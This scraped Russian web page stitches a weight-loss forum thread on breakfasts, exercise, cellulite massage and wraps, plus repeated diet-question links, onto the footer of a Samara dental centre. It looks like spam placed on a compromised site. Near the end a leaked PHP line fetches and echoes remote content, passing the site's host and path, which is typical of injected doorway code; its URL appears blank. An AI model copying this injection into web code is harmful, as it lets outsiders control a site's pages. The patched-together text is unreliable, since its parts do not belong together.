Что-то у вас завтрак изначально не правильный. А ведь именно он задает тон всему остальному. Попробуйте: горсть овсяных хлопьев залить кефиром с вечера. Туда же можно добавить чернослив, курагу и изюм. А так же корицу и имбирь. Настоится ночью - утром будет питательная и полезная каша.
Нормально питайтесь все остальное время (рассчитывая калории) .
Спорт. А что вам самой нравится? Плавание? Или удобнее дома заниматься с тем же обручем? А может фитнес в клубе? Определитесь. Очень важно, когда занятия в кайф, а не из под палки.
И примите, как данность - худеть вы будете не месяц и не два, а поболее. Но в итоге все будет хорошо - если вы разработаете со специалистом свою программу. Которая будет приносить удовольствие. Кстати, на сайте Милаяя. ру (по-английски) собраны всевозможные способы похудения
Выберете свое и для себя.

Ира скиньте вопрос на личку, помогу 2мя простыми рецептами.

А Вам удалось избавиться от целлюлита?? если да,то как?? (слышала ваккуумный массаж помогает)

Помогает медовый массаж, но говорят, он потом возвращается)

Обруч для похудения.. Как похудеть с помощью пищевой пленки. Борьба с лишним весом отбирает у нас много сил, времени и средств.

Австрийская фирма"штикс",проф. крем для обёртывания, плюс вакуум. банки с массаж. маслом

Мне он, не грозит!

  • Как похудеть при месячных - Вопрос к девушкам на диете) Худеть при месячных можно? Продолжать соблюдать выбранный режим питания нужно, а уменьшение
  • Диета по группе крови нейтральные продукты - Что можно а что нельзя есть при 1ой группе крови ? А что можно Так что цель диеты по группе крови несколько шире, чем пр
  • Вреден ли крем от растяжек - Как закалять соски?Не вредно ли при беременности пользоваться кремом против растяжек? Кремом - не вредно, пользы правда
  • Малахов и его рецепты соковые диеты - Пост. Ребята, я первый раз хочу попробовать выдержать большой пост. Скажите, что можно кушать? Баранки Примерное меню ди
  • Диета 5 включает - Стол 5 что в себя включает? 4 ножки Диета 5а включает в себя достаточно большое количество продуктов, которые можно комб
  • Гречневая диета и онкология - Слышала про лечебную диету гречишную в случае онкологии?? поскажите!? Бред! Но онкобольные надеются даже на гречиху! Гре
  • Быстрая диета на овощах - Как быстро похудеть ? Не ешьте после 6-7 и по максимум исключите мучные изделия, ну и вообще сладкого как можно меньше е
  • Что лучше крем от растяжек или масло беременным - Чем лучше пользоваться для профилактики растяжек во время беременности? КРЕМОМ или МАСЛОМ? И каким? Любым)) ) Если у ваш
  • Быстрая диета на фруктах - А вот на какой диете быстрее похудеть: на кефирной или фруктовой? как вы считаете? На водной. В Ираке. На диете не жрать
  • Омега нсп похудеть - Подскажите,пожалуйста,средства от бессоницы? Некоторым помогает обычное горячее молоко с медом,как в детстве У Вас есть
  • Как похудеть при месячных - Вопрос к девушкам на диете) Худеть при месячных можно? Продолжать соблюдать выбранный режим питания нужно, а уменьшение
  • Диета по группе крови нейтральные продукты - Что можно а что нельзя есть при 1ой группе крови ? А что можно Так что цель диеты по группе крови несколько шире, чем пр
  • Вреден ли крем от растяжек - Как закалять соски?Не вредно ли при беременности пользоваться кремом против растяжек? Кремом - не вредно, пользы правда
  • Малахов и его рецепты соковые диеты - Пост. Ребята, я первый раз хочу попробовать выдержать большой пост. Скажите, что можно кушать? Баранки Примерное меню ди
  • Диета 5 включает - Стол 5 что в себя включает? 4 ножки Диета 5а включает в себя достаточно большое количество продуктов, которые можно комб
  • Гречневая диета и онкология - Слышала про лечебную диету гречишную в случае онкологии?? поскажите!? Бред! Но онкобольные надеются даже на гречиху! Гре
  • Быстрая диета на овощах - Как быстро похудеть ? Не ешьте после 6-7 и по максимум исключите мучные изделия, ну и вообще сладкого как можно меньше е
  • Что лучше крем от растяжек или масло беременным - Чем лучше пользоваться для профилактики растяжек во время беременности? КРЕМОМ или МАСЛОМ? И каким? Любым)) ) Если у ваш
  • Быстрая диета на фруктах - А вот на какой диете быстрее похудеть: на кефирной или фруктовой? как вы считаете? На водной. В Ираке. На диете не жрать
  • Омега нсп похудеть - Подскажите,пожалуйста,средства от бессоницы? Некоторым помогает обычное горячее молоко с медом,как в детстве У Вас есть
Похудение с помощью пищевой пленки и обруча
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта